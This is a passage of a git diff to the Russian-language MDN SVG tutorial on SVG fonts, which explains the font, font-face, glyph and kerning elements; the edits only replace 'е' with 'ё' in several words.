Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°ΠΌΠΈ, Ρ‚Π°ΠΊΠΈΠΌΠΈ ΠΊΠ°ΠΊ PostScript ΠΈΠ»ΠΈ OTF, это лишь простоС срСдство влоТСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ Π³Π»ΠΈΡ„Π°Ρ… Π² SVG ΠΏΡ€ΠΈ Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ.<br>
+<p>Когда Π±Ρ‹Π» написан стандарт SVG, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π²Π΅Π±-ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ² Π΅Ρ‰Ρ‘ Π½Π΅ Π±Ρ‹Π»Π° ΡˆΠΈΡ€ΠΎΠΊΠΎ распространСна Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ доступ ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌΡƒ Ρ„Π°ΠΉΠ»Ρƒ ΡˆΡ€ΠΈΡ„Ρ‚Π° ΠΈΠΌΠ΅Π΅Ρ‚ Ρ€Π΅ΡˆΠ°ΡŽΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ³ΠΎ отобраТСния тСкста, Π² SVG Π±Ρ‹Π»Π° Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π° тСхнология описания ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ². Она Π½Π΅ совмСстима с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°ΠΌΠΈ, Ρ‚Π°ΠΊΠΈΠΌΠΈ ΠΊΠ°ΠΊ PostScript ΠΈΠ»ΠΈ OTF, это лишь простоС срСдство влоТСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ Π³Π»ΠΈΡ„Π°Ρ… Π² SVG ΠΏΡ€ΠΈ Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ.<br>
Β </p>
<p class="note"><strong>SVG-ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Safari.</strong><br>
- Π­Ρ‚Π° Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π½Π΅ Π±Ρ‹Π»Π° Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π° Π² Internet Explorer, ΠΎΠ½Π° Ρ‚Π°ΠΊΠΆΠ΅ Π±Ρ‹Π»Π° ΡƒΠ΄Π°Π»Π΅Π½Π° ΠΈΠ· Chrome 38 (ΠΈ Opera 25),Β  Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ Mozilla ΠΎΡ‚Π»ΠΎΠΆΠΈΠ»ΠΈ Π΅Π΅ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ Π½Π° Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ врСмя, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΡΡ€Π΅Π΄ΠΎΡ‚ΠΎΡ‡ΠΈΡ‚ΡŒΡΡ Π½Π° WOFF. Π”Ρ€ΡƒΠ³ΠΈΠ΅ инструмСнты, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ ΠΏΠ»Π°Π³ΠΈΠ½ Adobe SVG Viewer, Batik ΠΈ частично Inkscape ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ встраиваСмыС ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹ SVG.</p>
+ Π­Ρ‚Π° Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π½Π΅ Π±Ρ‹Π»Π° Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π° Π² Internet Explorer, ΠΎΠ½Π° Ρ‚Π°ΠΊΠΆΠ΅ Π±Ρ‹Π»Π° ΡƒΠ΄Π°Π»Π΅Π½Π° ΠΈΠ· Chrome 38 (ΠΈ Opera 25),Β  Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ Mozilla ΠΎΡ‚Π»ΠΎΠΆΠΈΠ»ΠΈ Π΅Ρ‘ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ Π½Π° Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ врСмя, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΡΡ€Π΅Π΄ΠΎΡ‚ΠΎΡ‡ΠΈΡ‚ΡŒΡΡ Π½Π° WOFF. Π”Ρ€ΡƒΠ³ΠΈΠ΅ инструмСнты, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ ΠΏΠ»Π°Π³ΠΈΠ½ Adobe SVG Viewer, Batik ΠΈ частично Inkscape ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ встраиваСмыС ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹ SVG.</p>
<p class="syntaxbox">Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ {{ SVGElement("font") }} ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для опрСдСлСния SVG-ΡˆΡ€ΠΈΡ„Ρ‚Π°.</p>
@@ -36,17 +36,17 @@ translation_of: Web/SVG/Tutorial/SVG_fonts
&lt;/font&gt;
</pre>
-<p>НачнСм с элСмСнта {{ SVGElement("font") }}. Он ΠΈΠΌΠ΅Π΅Ρ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>id</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт Π΅ΠΌΡƒ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Ρ‡Π΅Ρ€Π΅Π· URI (см. Π½ΠΈΠΆΠ΅). Атрибут <code>horiz-adv-x</code> опрСдСляСт, насколько ΡˆΠΈΡ€ΠΎΠΊΠΈΠΉ символ Π² срСднСм ΠΏΠΎ ΡΡ€Π°Π²Π½Π΅Π½ΠΈΡŽ с путями для ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… Π³Π»ΠΈΡ„ΠΎΠ². ΠžΠ±Ρ‹Ρ‡Π½ΠΎ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 1000. БущСствуСт нСсколько ΡΠΎΠΏΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Ρ€Π°ΠΌΠΊΠΈ.Β </p>
+<p>Начнём с элСмСнта {{ SVGElement("font") }}. Он ΠΈΠΌΠ΅Π΅Ρ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>id</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт Π΅ΠΌΡƒ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Ρ‡Π΅Ρ€Π΅Π· URI (см. Π½ΠΈΠΆΠ΅). Атрибут <code>horiz-adv-x</code> опрСдСляСт, насколько ΡˆΠΈΡ€ΠΎΠΊΠΈΠΉ символ Π² срСднСм ΠΏΠΎ ΡΡ€Π°Π²Π½Π΅Π½ΠΈΡŽ с путями для ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… Π³Π»ΠΈΡ„ΠΎΠ². ΠžΠ±Ρ‹Ρ‡Π½ΠΎ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 1000. БущСствуСт нСсколько ΡΠΎΠΏΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Ρ€Π°ΠΌΠΊΠΈ.Β </p>
-<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ {{ SVGElement("font-face") }} являСтся Π² SVG эквивалСнтом объявлСния ΡˆΡ€ΠΈΡ„Ρ‚Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS-свойства <a href="https://developer.mozilla.org/en/CSS/@font-face">@font-face</a>. Он опрСдСляСт основныС свойства Ρ„ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΡˆΡ€ΠΈΡ„Ρ‚Π°, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ вСс, ΡΡ‚ΠΈΠ»ΡŒ ΠΈ Ρ‚. Π΄. Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΠΏΠ΅Ρ€Π²ΠΎΠ΅ ΠΈ самоС Π²Π°ΠΆΠ½ΠΎΠ΅ свойство, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ - это <code>font-family</code>, Π½Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π·Π°Ρ‚Π΅ΠΌ ΠΌΠΎΠΆΠ½ΠΎ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π² свойствах CSS ΠΈ SVG. Атрибуты <code>font-weight</code> ΠΈ <code>font-style</code> ΠΈΠΌΠ΅ΡŽΡ‚ Ρ‚Ρƒ ΠΆΠ΅ Ρ†Π΅Π»ΡŒ, Ρ‡Ρ‚ΠΎ ΠΈ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ свойства CSS. ВсС ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ - это ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° для ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠ° ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠΈ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ², Π·Π°Π΄Π°ΡŽΡ‰ΠΈΠ΅, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, какая срСдняя высота символов Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½Ρ‹Ρ… Π²Π²Π΅Ρ€Ρ… ΠΈΠ»ΠΈ Π²Π½ΠΈΠ· <a href="http://en.wikipedia.org/wiki/Ascender_%28typography%29">выносных элСмСнтов</a>.</p>
+<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ {{ SVGElement("font-face") }} являСтся Π² SVG эквивалСнтом объявлСния ΡˆΡ€ΠΈΡ„Ρ‚Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS-свойства <a href="https://developer.mozilla.org/en/CSS/@font-face">@font-face</a>. Он опрСдСляСт основныС свойства Ρ„ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΡˆΡ€ΠΈΡ„Ρ‚Π°, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ вСс, ΡΡ‚ΠΈΠ»ΡŒ ΠΈ Ρ‚. Π΄. Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΠΏΠ΅Ρ€Π²ΠΎΠ΅ ΠΈ самоС Π²Π°ΠΆΠ½ΠΎΠ΅ свойство, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ - это <code>font-family</code>, Π½Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π·Π°Ρ‚Π΅ΠΌ ΠΌΠΎΠΆΠ½ΠΎ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π² свойствах CSS ΠΈ SVG. Атрибуты <code>font-weight</code> ΠΈ <code>font-style</code> ΠΈΠΌΠ΅ΡŽΡ‚ Ρ‚Ρƒ ΠΆΠ΅ Ρ†Π΅Π»ΡŒ, Ρ‡Ρ‚ΠΎ ΠΈ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ свойства CSS. ВсС ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ - это ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° для ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠ° ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠΈ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ², Π·Π°Π΄Π°ΡŽΡ‰ΠΈΠ΅, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, какая срСдняя высота символов Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½Ρ‹Ρ… Π²Π²Π΅Ρ€Ρ… ΠΈΠ»ΠΈ Π²Π½ΠΈΠ· <a href="http://en.wikipedia.org/wiki/Ascender_%28typography%29">выносных элСмСнтов</a>.</p>
-<p>Π”ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΉ элСмСнт {{ SVGElement("font-face-src") }} соотвСтствуСт свойству <code>src</code> для Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>@font-face</code> Π² CSS. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ внСшниС источники для опрСдСлСния ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ² с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ элСмСнтов {{ SVGElement("font-face-name") }} ΠΈ {{ SVGElement("font-face-uri") }}. Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ, Ρ‡Ρ‚ΠΎ Ссли Ρƒ Ρ€Π΅Π½Π΄Π΅Ρ€Π΅Ρ€Π° имССтся Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ доступный ΡˆΡ€ΠΈΡ„Ρ‚ с ΠΈΠΌΠ΅Π½Π΅ΠΌ Β«Super Sans BoldΒ», ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ.</p>
+<p>Π”ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΉ элСмСнт {{ SVGElement("font-face-src") }} соотвСтствуСт свойству <code>src</code> для Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>@font-face</code> Π² CSS. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ внСшниС источники для опрСдСлСния ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ² с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ элСмСнтов {{ SVGElement("font-face-name") }} ΠΈ {{ SVGElement("font-face-uri") }}. Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ, Ρ‡Ρ‚ΠΎ Ссли Ρƒ Ρ€Π΅Π½Π΄Π΅Ρ€Π΅Ρ€Π° имССтся Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ доступный ΡˆΡ€ΠΈΡ„Ρ‚ с ΠΈΠΌΠ΅Π½Π΅ΠΌ Β«Super Sans BoldΒ», ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ.</p>
<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ элСмСнт Π·Π° {{ SVGElement("font-face-src") }} - это {{ SVGElement("missing-glyph") }}. Он опрСдСляСт, Ρ‡Ρ‚ΠΎ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ, Ссли символ Π² ΡˆΡ€ΠΈΡ„Ρ‚Π΅ Π½Π΅ Π±Ρ‹Π» Π½Π°ΠΉΠ΄Π΅Π½ ΠΈ Ссли Π½Π΅Ρ‚ запасного Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π°. Он Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ Π³Π»ΠΈΡ„Ρ‹: Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ Π² Π½Π΅Π³ΠΎ любого графичСского ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° SVG. Π’ Π½Π΅ΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±ΡƒΠΊΠ²Π°Π»ΡŒΠ½ΠΎ Π»ΡŽΠ±Ρ‹Π΅ элСмСнты SVG, Π΄Π°ΠΆΠ΅ {{ SVGElement("filter") }}, {{ SVGElement("a") }} ΠΈΠ»ΠΈ {{ SVGElement("script") }}. Однако для простых Π³Π»ΠΈΡ„ΠΎΠ² Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ просто Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>d</code>Β - ΠΎΠ½ опрСдСляСт Ρ„ΠΎΡ€ΠΌΡƒ для Π³Π»ΠΈΡ„Π° Ρ‚ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ стандартныС ΠΏΡƒΡ‚ΠΈ SVG.</p>
-<p>Π‘Π°ΠΌΠΈ Π³Π»ΠΈΡ„Ρ‹ Π·Π°Ρ‚Π΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ элСмСнтами {{ SVGElement("glyph") }}. НаиболСС Π²Π°ΠΆΠ½Ρ‹ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ являСтся <code>unicode</code>. Он опрСдСляСт ΠΊΠΎΠ΄ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠΈ unicode, прСдставлСнный этим символом. Если Π²Ρ‹ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚Π΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("lang")}} Π½Π° Π³Π»ΠΈΡ„Π΅, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ΡŒ Π΅Π³ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΠΈ языками (прСдставлСнными <code>xml:lang</code>). Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹ΠΉ SVG для опрСдСлСния Π³Π»ΠΈΡ„Π°, ΠΈ это ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ Π²Π°ΠΌ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π·Π°ΠΌΠ΅Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ эффСкты.<br>
+<p>Π‘Π°ΠΌΠΈ Π³Π»ΠΈΡ„Ρ‹ Π·Π°Ρ‚Π΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ элСмСнтами {{ SVGElement("glyph") }}. НаиболСС Π²Π°ΠΆΠ½Ρ‹ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ являСтся <code>unicode</code>. Он опрСдСляСт ΠΊΠΎΠ΄ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠΈ unicode, прСдставлСнный этим символом. Если Π²Ρ‹ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚Π΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("lang")}} Π½Π° Π³Π»ΠΈΡ„Π΅, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ΡŒ Π΅Π³ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ языками (прСдставлСнными <code>xml:lang</code>). Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹ΠΉ SVG для опрСдСлСния Π³Π»ΠΈΡ„Π°, ΠΈ это ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ Π²Π°ΠΌ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π·Π°ΠΌΠ΅Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ эффСкты.<br>
<br>
- Π•ΡΡ‚ΡŒ Π΅Ρ‰Π΅ Π΄Π²Π° элСмСнта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΡˆΡ€ΠΈΡ„Ρ‚Π°: {{ SVGElement("hkern") }} ΠΈ {{ SVGElement("vkern") }}. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ… содСрТит ссылки Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ Ρ‡Π΅ΠΌ Π½Π° Π΄Π²Π° символа (Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ <code>u1</code> ΠΈ <code>u2</code>) ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>k</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ опрСдСляСт, Π½Π° сколько Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½ΠΎ расстояниС ΠΌΠ΅ΠΆΠ΄Ρƒ этими символами. НиТС ΠΏΠΎΠΊΠ°Π·Π°Π½ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ инструкции размСщСния символов Β«AΒ» ΠΈ Β«VΒ» Π½Π° стандартном расстоянии.</p>
+ Π•ΡΡ‚ΡŒ Π΅Ρ‰Ρ‘ Π΄Π²Π° элСмСнта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΡˆΡ€ΠΈΡ„Ρ‚Π°: {{ SVGElement("hkern") }} ΠΈ {{ SVGElement("vkern") }}. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ… содСрТит ссылки Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ Ρ‡Π΅ΠΌ Π½Π° Π΄Π²Π° символа (Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ <code>u1</code> ΠΈ <code>u2</code>) ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>k</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ опрСдСляСт, Π½Π° сколько Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½ΠΎ расстояниС ΠΌΠ΅ΠΆΠ΄Ρƒ этими символами. НиТС ΠΏΠΎΠΊΠ°Π·Π°Π½ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ инструкции размСщСния символов Β«AΒ» ΠΈ Β«VΒ» Π½Π° стандартном расстоянии.</p>
<pre>&lt;hkern u1="A" u2="V" k="20" /&gt;
</pre>
diff --git a/files/ru/web/svg/tutorial/svg_in_html_introduction/index.html b/files/ru/web/svg/tutorial/svg_in_html_introduction/index.html
index 7f993c7bf8..a897157fb4 100644
--- a/files/ru/web/svg/tutorial/svg_in_html_introduction/index.html
+++ b/files/ru/web/svg/tutorial/svg_in_html_introduction/index.html
@@ -55,7 +55,7 @@ translation_of: Web/SVG/Tutorial/SVG_In_HTML_Introduction
<h2 id="Discussion" name="Discussion">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</h2>
